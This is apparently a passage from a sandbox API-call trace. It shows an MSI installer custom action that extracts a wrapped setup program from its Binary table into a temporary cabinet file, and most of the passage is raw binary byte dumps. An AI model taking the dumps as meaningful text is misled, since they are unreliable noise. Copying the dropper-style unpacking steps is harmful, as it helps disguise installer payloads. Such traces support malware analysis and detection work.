eMessageType=0x4000000, hRecord=0x17) returned 0 [0146.861] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0146.861] MsiCloseHandle (hAny=0x17) returned 0x0 [0146.862] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x5f97f8 [0146.862] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x5f98b0 [0146.863] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0146.863] MsiCreateRecord (cParams=0x2) returned 0x18 [0146.864] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.864] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0146.864] MsiRecordSetStringW (hRecord=0x18, iField=0x0, szValue="-- CUSTOM ACTION -- Get database") returned 0x0 [0146.865] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x18) returned 0 [0146.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0146.870] MsiCloseHandle (hAny=0x18) returned 0x0 [0146.871] MsiGetActiveDatabase (hInstall=0x1) returned 0x19 [0146.873] MsiCreateRecord (cParams=0x2) returned 0x1a [0146.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.874] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0146.874] MsiRecordSetStringW (hRecord=0x1a, iField=0x0, szValue="-- CUSTOM ACTION -- Open view") returned 0x0 [0146.875] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x1a) returned 0 [0146.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0146.880] MsiCloseHandle (hAny=0x1a) returned 0x0 [0146.881] GetLastError () returned 0xb7 [0146.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f97f8 [0146.882] GetLastError () returned 0xb7 [0146.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d70 [0146.882] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f3d70, Size=0xb0) returned 0x5f9978 [0146.882] MsiCreateRecord (cParams=0x2) returned 0x1b [0146.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.883] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0xd0) returned 0x5f7820 [0146.883] MsiRecordSetStringW (hRecord=0x1b, iField=0x0, szValue="-- CUSTOM ACTION -- Query: SELECT `Data` FROM `Binary` WHERE `Name` = 'bz.WrappedSetupProgram'") returned 0x0 [0146.884] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x1b) returned 0 [0146.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f7820 | out: hHeap=0x5c0000) returned 1 [0146.888] MsiCloseHandle (hAny=0x1b) returned 0x0 [0146.889] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9978 | out: hHeap=0x5c0000) returned 1 [0146.890] MsiDatabaseOpenViewW (hDatabase=0x19, szQuery="SELECT `Data` FROM `Binary` WHERE `Name` = 'bz.WrappedSetupProgram'", phView=0x21df04c) returned 0x0 [0146.900] MsiCreateRecord (cParams=0x2) returned 0x1d [0146.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.903] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0146.903] MsiRecordSetStringW (hRecord=0x1d, iField=0x0, szValue="-- CUSTOM ACTION -- Execute view") returned 0x0 [0146.904] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x1d) returned 0 [0146.908] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0146.908] MsiCloseHandle (hAny=0x1d) returned 0x0 [0146.909] MsiViewExecute (hView=0x1c, hRecord=0x0) returned 0x0 [0146.911] MsiCreateRecord (cParams=0x2) returned 0x1e [0146.912] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.912] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0146.912] MsiRecordSetStringW (hRecord=0x1e, iField=0x0, szValue="-- CUSTOM ACTION -- Get record") returned 0x0 [0146.915] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x1e) returned 0 [0146.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0146.919] MsiCloseHandle (hAny=0x1e) returned 0x0 [0146.921] MsiViewFetch (hView=0x1c, phRecord=0x21df040) returned 0x0 [0146.924] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x5f6648 [0146.924] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6648, Size=0xe0) returned 0x5f9978 [0146.924] MsiCreateRecord (cParams=0x2) returned 0x20 [0146.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.925] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x100) returned 0x5f9a60 [0146.925] MsiRecordSetStringW (hRecord=0x20, iField=0x0, szValue="-- CUSTOM ACTION -- Create file: C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files.cab") returned 0x0 [0146.927] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x20) returned 0 [0146.931] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9a60 | out: hHeap=0x5c0000) returned 1 [0146.931] MsiCloseHandle (hAny=0x20) returned 0x0 [0146.933] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9978 | out: hHeap=0x5c0000) returned 1 [0146.933] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files.cab" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files.cab"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0146.934] MsiCreateRecord (cParams=0x2) returned 0x21 [0146.935] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.935] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0146.935] MsiRecordSetStringW (hRecord=0x21, iField=0x0, szValue="-- CUSTOM ACTION -- Read stream") returned 0x0 [0146.936] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x21) returned 0 [0146.940] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0146.946] MsiCloseHandle (hAny=0x21) returned 0x0 [0146.947] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="MSCF", pcbDataBuf=0x21df03c) returned 0x0 [0147.175] CryptAcquireContextW (in: phProv=0x21df4f0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df4f0*=0x5f9978) returned 1 [0147.176] CryptCreateHash (in: hProv=0x5f9978, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df4f4 | out: phHash=0x21df4f4) returned 1 [0147.176] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.176] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.179] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="9g\x89A\x18ײx\x8arõÐ\x12\x17\x86{DÔ¯}QK$´\x1bÛ/BHP\x15ù\x9fÉù\x90ìÅÔ:\x92E¤6»)TøLõ\x92G\x19¢Þ¨¸Jæ7â\x1eì\x07Äd|Ì\x0cjg¿\x12¤:¬\x10\x16ªßVzÚ\x02\x9fãFþ\x86º6/~9ÏËØ}Z};", pcbDataBuf=0x21df03c) returned 0x0 [0147.181] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.181] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.181] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="Ëk\x91\x06XP\x89é1*íä¢þ\x12\x81{¢¤l\x0e*\x16\x89x\x9e0¤ö\x8b³õÐîq\x06ê0.ñÀBÚñþ¿æFã$inÙDP\x9ex\x1e(÷8&®Dq)Ûͨj=\x08ÿeÞf\x1bavb:¶0FoPé?K\x1cÌ¥¸Ú\x10V»»çþ£¼?Öõl\x04f@³±5\x19º^", pcbDataBuf=0x21df03c) returned 0x0 [0147.182] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.182] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.182] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="jÈ wnæ.°\x1e@´\x82þEÈ\x08HØ\x1fÖW[ѪAÜ\x1eu2kóUÄK\x83¡\x1a\x0cܨ\x87\x03\x92\x0eë\x95P»\x1aÃ)|î\x0fn!9k#òò#_\x9dà\x88ÿ!`\x10©B\x179¯æl[\x0eÃ\x8b\x99ý\x0c\x17¬ \"ïô\x14Ù¤\x03|6ιoF4Õ\x06\x92\\·³", pcbDataBuf=0x21df03c) returned 0x0 [0147.183] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.183] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.183] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="³cÄion2¿-wI\rP\x9cÞ8\x81Âê\x94U\x80\x06\x02¨¸Æ\"1ø\x9cg\x8e6s\x97\x9ajÅ\x90VM2øÈÎÕßó\x1eÀpÿä¤\x07\x8d\x88z\x9c@hêå\x9ax\x1f\x89Ø7ÝiC á\x99u\x93Z¥µ\x01\x05¬­\x08Qjgö-\x96¸\x08´»±Èòwô\x1bïÖ\x81l ñ\x19÷w½ä´\x18³\x924\x03\x99ø8K\x8e\x06¸E¾¬ÿo\x1dýøÂã\x835#m5k&f@4\x90\x19Ìj-\x80isA%Ù¸2$", pcbDataBuf=0x21df03c) returned 0x0 [0147.185] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.185] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.185] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="#\x12gQYþا\x06¡+\x06`è+HI±ZD6\x111ä\x96z\x0b\x19ïà", pcbDataBuf=0x21df03c) returned 0x0 [0147.187] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.187] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.187] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x15$¥\x1e¢©\x80°\x80Ù\x8e; µ·@O\x1cÑoV \x87.", pcbDataBuf=0x21df03c) returned 0x0 [0147.188] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.188] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.189] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="«\x7f\x0fo¿»Ã6fQ¸óö¹b\x956\x9f\x17-Bס¨Ãé?\x9co*#\x83\x965$\x900\x14ÒM\x8d¶\x14&T8ºÐªÐb!k\x82\x14\n¡\"Â`\x05ª\x15\x16Û<'Û\x8aºI\x7f¥$¶\x9b\x03ËöÃWc˧- ÜÄtAШ63sc¶\x8f0\x15¸2h\x97ÕÏ\x839 kæS\n¾(\x07Öj ÐôÈ5ÌÒ\x9d\x96\x9a\x8bq@ú£Û\x97@kªP?UnSÙ¹\x1bQEqÒµ¬ÆØîz\x0chÀeJ…\x83", pcbDataBuf=0x21df03c) returned 0x0 [0147.190] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.190] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.190] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf=":í\x83\x13ª@8£\x06\x15Oõ-W¶Ú~Å\x92qe¡¹\x84¯hµBuÍø\x11!\x1afQìª\r\x88\x1bYwÄ_ÿº¡/ÑpÍqZ\x96\n6lßÜ\x88<ÝЫ\x1aÆ\x84a\x18ÓIZcò\x12$Ò\x80iÿ#M\x0bÉXy\x88¡\x13X\x16©òûî:\x98T\x07\x14\x03é\x0e±eîÐü`ëQ\x06Õ\x04\x09\"Ã.ÊxI©½\x15¥\x1b°\x1e°\x87Ç\x87YÍ)±Ñú\x0e©+\"®#\x9e-D\x8d6a=ãаÆ6ªÐ/\x81\x9d\x90°VÜ\x0fõ¹)f", pcbDataBuf=0x21df03c) returned 0x0 [0147.191] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.191] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.192] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="", pcbDataBuf=0x21df03c) returned 0x0 [0147.193] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.193] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.193] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x17Ú|6\x97Øó\x8d\x0c\x9aÕ©3Ãï\x09h=Þ8\x84p\x90o\x0cÐ\x0c\x83ô9SY-ÅÉÕ}óXü\x9c\x82\x9e\x91ÍÒÌ\x80Ãòij\x18\x08\x02Ê\x07\x9emï,jÖã\x7f\x94ʪ-\x8b|%¹\x08j©\n\x04Ö$y,\x05\x99¯p\x12Ó_\x1e\x137$\x9f¥g%Q \x0e)\x80\x12÷…ásìÊ\x88/Ûóù³°`;»~] ò§vp\x02Q-E\x0b\x88\x96y¸Þ²#\x184\x09âëñæ\x16·s FxÞv\x9a\x8fÛÙbÉ¥\x9bÚ¹\"]hÙÏc\x1afR¦ðMS\x0bLéÓÑf¸`ágø§x\x9dC$ç+w\x1f\\ü½Ä¹Ã%\x88¬¬M]±\x83¯áanÆð\x94Ç(\x0fä\x95\x14Ô\\ýMC×&Ù\x8fý|ÙÎ7\x97\x10dú\x03û<»rKÇ(Å\x10\x1a\x1fKlîÇÈ#Û]ñ\x1eEQ\x9aº(W@ì¿lY…¿¸\x1eØeÜHb\x9e\x17lyó\x12w\"T\x0e\x0f\x90¸RÙÄ@dC~ÍNÜ", pcbDataBuf=0x21df03c) returned 0x0 [0147.195] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.195] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.195] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="V**ÂÝÅê\x8e3kY0\x1c\nÖe\x98´!\x18[\x8d¶[\x97!˾\x11´\x921Qäļ{4\x10\x97R8®´m²ë>(ù°f©#Âjæ%~Ä÷3\x9aQ/9¸âó\x9f¶Õ¥÷t+»júü\x16§ñº%&7\x89ÁlC3\x9d3+8Â\x8dê&\x91ª;q¬Eóo¸AªÕ³\x0cuûYÛsÁ.É8¯Á\x9f\x084ÖPûB\x99\x1eØ<{3«K@ÂĸE!-¼1á\x80%\x11n¡ÝÓÛ¨\nê\\\x11ÈOUÀ\x1f¶âës\x94SM\x0c«=\x92\x88\x06L\x82\x05µÅA7óçIªô\x10q;NsÖí\x11b\x1fãhȳ\x8f,YAJ<5ó\x98Áø!\x81\x8a\x96·Mq\x02ûÍÀ\x0f\x07P§ü\x98\x9f³\x1djî+=Ýt\x07\x13\x0b0\x0e\x92Õï£ÙH\x15ÄL\x8f÷\x81\x04@b jKñ4»LÃYà°\x84:üK\x92\x82»\x1a\x13kä\x1bJu¹¬ì º/0ÜOp'ÓmNé\n£M+ö\x99\x14\x1a\x08Ï9^¸§\x19ØIº·Dëîë\x097Cî\x8e\x9e\x02\x91\x87eþ>ýó¡¢5|³³?Õ>ü²t1\x0bß\x06±\x99\x82ZÇÔ­à\x14\x18ØíqX'äo@ûP\x1e±Æ\x8d¦aU\x80ôâÖY[\x17º©Ä¦°ý\x06´Õ#é³\x93 ¡\x9d¢[î\x1c<ó\x8bÅcÁ°ÆØ\x89¸l\x03|F1Xp*z\x1d_\x80\x17)\x1d¢iÝQ\x11\x90Ì0\rë\x0bHÀäb,×ÌY\x82ë4]Âø÷ÂÆ\x0bà\x9dïÒõD-6\x1d2cXº`YSàE»…¶R(1D÷", pcbDataBuf=0x21df03c) returned 0x0 [0147.196] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.196] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.196] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="Ùs\x8f\x8eÖ3,¨\x89!Q\x10Óf$f\x87O\x9c`\x86\x01)´\x04$2å\nºÌW\x18\x07\x16\x19\x0c\x92¶\x81ïÝÄ\x13wÜ\x94\x02î9AÓ¯F!\x9d[r\x84", pcbDataBuf=0x21df03c) returned 0x0 [0147.197] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.197] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.198] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="ª*8<¯õã", pcbDataBuf=0x21df03c) returned 0x0 [0147.199] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.199] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.199] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="Ù\\¼\x1e\x9brLáðbÉþ\x01ß\x8c\x9bDëÅG~\x1bGX\x0f\x94$\x09í+Vlyùö.\x05Dî|)EÉV\x04è1âAРlg£Çõ4ܸ\x89(z`\x95öEðwí\x9bº©j\x8f±·i9Æ×\x09\x0fá/3\x04=\x7fruù\x0f¿DP\x1bùà¡øQÛ<ÖBú<ËØ\x1cp_×Á\x18O\x86áj{óÂ¥\x1eß\x86\x95¯{$V±ìT¡ÙÊÿ\x1e7BaÛ=ð´\x97\x93\x10HZ\x91\x09\x80ÍRÓ\x14\x12++0y(A\x13üf\x9d\x92KIP\x1e=\x88Âó®÷%7Ùf\x11¼X\x08\x96Õ\x03I¿wU\x1a1ùû\x0b]\x8f4\x0bÁxÃ\x94\x97DV´\x83Õ\x01f¡÷;\x13[õ\x8d\x10?*)µF\x91ÏÕ\x9b5\x15PóäÌJ\x0fÀô]óh1:´]4µà\x95éÆ[Ê'x­¨FÂ\x16\x0eý@", pcbDataBuf=0x21df03c) returned 0x0 [0147.200] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.200] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.200] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\"¬Vï\x94·X#ïd[&\x0cç\x9a-«Ø¹\x93§0êð\x82à¸ò¿á\x8aθ=\x0eMù\x84\x8ef¬ö]0A¯Dëø\x94Nb\x8eïê­¨³÷{H\x9c<(\x13\x82óÚÿÍc\"»ás¬d\x8c\x0bFbãÓe ¨\x0f\x95\x88\x92¿T\x91²Ys\x7f°¯\x134]d}:ø\x12¼\x0fhòáÁ°|þ3\x19¼üGÉ\x14\x12\x9fDyä&äÅâo6çÎ9O\x10\x8dYùköáƽ¡\x93\x0f\x0b\x84\x18ó[H?C;ü\x8c5\x88ü ó}¨N\x87¯p¤Ü[þ;¬W%K\x07Á\x03\x11S²\x0c\x14ß\x9e';Ü\x1d\x8cÐ\x84 \x06", pcbDataBuf=0x21df03c) returned 0x0 [0147.201] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.201] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.202] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="W\x12êWã\x83\x824TY6¶À\x0c\x87\x10\nµS«[v>qí\x0b.\x13qïQ\x99V%­¢ì\x90Â:ú\x1d¹\x06\x07\x9aéTW\x09b\x0eu#\x96…y+âÅtÆ\x0cªÎTõë\\\x91\x803Øò¶K\x8fúkÒ,M\x05\x01\x9fð®\x8b8\"\x883ÿÔß9ì", pcbDataBuf=0x21df03c) returned 0x0 [0147.203] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.203] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.203] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="ÈÚ`a\\\x15&Ù,(È¢rFR¾6\x8f7.tÌ\x17w\x8fåGh®Ç\x9e\x98¢\x91Ö\x83-G8«\x8e}\x8cÊÈ\x92ÛÀ\x99æKÈ\x0fW¢è\\YK\x91W±tÕtÚ\x9cÖ\x86®ß\x12W\x92ÿ\x1f\x1a<\x87jM\x0f¯¦ñ Áb¶3²ÂH\x02£¦\x81\x89wJ \x90:nÈzdÕ\x92þ\x08\x9eïÆÞy9(f\x9d\x05\x16ir½", pcbDataBuf=0x21df03c) returned 0x0 [0147.206] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.206] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.206] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="®\x08v½\x08\x9b\x9dqìcRïýÒg%\x15¼ñiJ¿ÊÑ!¼zç\x89\x1d\x01@\x17&\x8b\x09tË\x16\x1a\x81M\x99ÏH·4…¡åík¶¿¥¼ÞË\x8fS\x9cbþG ƹE\x0cN;àt¶à W\x1bTs7®Ê\x8eN\x0eïr>\\â\x96-e\x1d)r©Ãéon]Óå5îr\x14Þôw\x01\x84\x1exªUð×ǾÄ\x9aX(·\x9fg.>\x92±\x0f", pcbDataBuf=0x21df03c) returned 0x0 [0147.207] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.207] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.208] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="AÐ\x01\x0cI±>^\x10\x84\x9fï]j\x09ÆÈ\x90Ï\x98£\x9e_\x06w\x0bÕ&\x84r\x97<ÄÒ\x01·eÝZiÿÉ\x91;6\x9c ãï2YÄUë\x12É{Æ bÛÁ´ 